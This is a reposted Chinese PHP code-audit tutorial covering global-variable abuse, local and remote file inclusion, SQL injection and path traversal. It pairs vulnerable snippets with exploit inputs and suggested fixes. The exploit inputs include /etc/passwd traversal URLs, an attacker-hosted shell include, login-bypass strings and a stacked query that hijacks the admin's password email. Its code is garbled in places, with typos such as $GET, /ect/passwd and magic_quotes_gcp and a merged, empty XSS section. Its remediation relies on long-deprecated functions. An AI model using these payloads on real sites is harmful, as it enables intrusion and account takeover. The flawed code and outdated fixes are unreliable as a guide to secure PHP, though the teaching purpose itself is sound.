栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > PHP

PHP代码审计

PHP 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

PHP代码审计

0x01.全局变量

php中并不需要申明全局变量,当必须使用它时会自动创建
例:
 前 if($is_admin==1){
    ..... //此时会重定向到管理界面
 }else{
  .....
 }
利用:在文件bugged.php提交
http://127.0.0.1/bugged.php?is_admin=1

 后  $is_admin=0; //申明变量
   if($is_admin==1){
    ..... //此时会重定向到管理界面
 }else{
  .....
 }


0x02.文件包含


-------动态包含文件(部分路径名包含在某些变量中),而变量又未申明
例:

前      include "/users/".$include_path.".php";
   ?>
 利用:http://127.0.0.1/bugged.php?include_path=../../../etc/passwd
 提交恶意数据,使其包含了/etc/passwd文件
 是一个NULL字符,用于删除php文件扩展名


--------远程文件包含

 前:    include ($GET['pag']);
   ?>

利用:对$pag文件没有进行验证的话,可以通过浏览器的包含或者调用他的脚本
    获得电脑的访问权

1.提权

http://127.0.0.1/inc.php?pag=[Evil script -our shell located on our server]
2.浏览文件
http://127.0.0.1/inc.php?pag=/ect/passwd

修改:创建一个可访问页面的列表,对输入值进行验证
      ...
 $pag=$_GET['pag'];
$pags=array('index.php','alfa.php','gamma.php');
if(in_array($pag,$pags)){
include($pag);
}else{
die("Hacking Attempt!");
}
...
 ?>


0x03.跨站脚本0x04.SQL注入

   (') 用于划分字符
(#) 用于注释
(;)在数据库中用来构造新的请求语句

例:绕过登录验证--获得管理权限
  ...
  //登录脚本
   $nick=$_POST['nick'];
   $pass=$_POST['post'];
   $link=mysql_connect('localhost','root','root')or die('Error'.mysql_error());
mysql_select_db("sql_inj",$link);

$query=mysql_query("SELECT*FROM sql_inj WHERe nick='".$nick"'AND
pass='".$pass."'",$link);
if(mysql_num_rows($query)==0){
echo"";
exit;
$logged=1

...
}
?>
此处两个变量用于SQL请时没有进行任何有效的验证,所以可以进行注入
恶意构造1:
$nick=1'OR'1'='1
$pass=1'OR'1'='1

"SELECt*FROM sql_inj WHERe nick='1'OR'1'='1'AND pass='1'OR'1'='1'"
恶意构造2:
 $nick=1'OR'1'='1'#
$pass=what_we_want_to_put
"SELECt*FROM sql_inj WHERe nick='1'OR'1'='1'AND pass='what_we_want_to_put'"


 例
   //邮件脚本
 ...
 $email=$_POST['email'];
 ...
 $query=mysql_query("SELECt email,passwd,user_name FROM users WHERe email='".$email."'");
 ...
 ?>

 构造语句:
 $email=x';UPDATE users SET email ='my@gmail.com'
 WHERe email='admin@site.com';
这样用my@gmail.com就能收到密码


修补:php.ini文件
1.set magic_quotes_gcp to On
在(')(")()和 NULL 前自动加入转义符

2.use addslashes()
在字符串前面加上斜杠

3.htmlspecialchars()
将指定字符转化成html实体

4.mysql_escape_string()
转义mysql_query中使用的字符串

5.www.php.net

6.验证用户提取的信息
$user_id=(int)$_GET['user_id']; 这里的id都是整数


0x05 文件遍历


..
$fp=fopen("/path/{$_GET['filename']}.txt",'r');
..
?>

由于filename可被远程修改,会导致文件遍历漏洞
可以利用(../)来移动目录查看文件
构造:
http://127.1/path/bug.php?filename=../../../path_of_another_file
以突破文件扩展名限制

修补:使用basename()函数
$clean=array();
if(basename($_GET['filemname'])==$_GET['filename']){
$clean['filename']=$_GET['filename'];
}
else{
..
}
$fp=fopen("/path/{$clean['filename']}.txt",'r');
?>





转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/229448.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号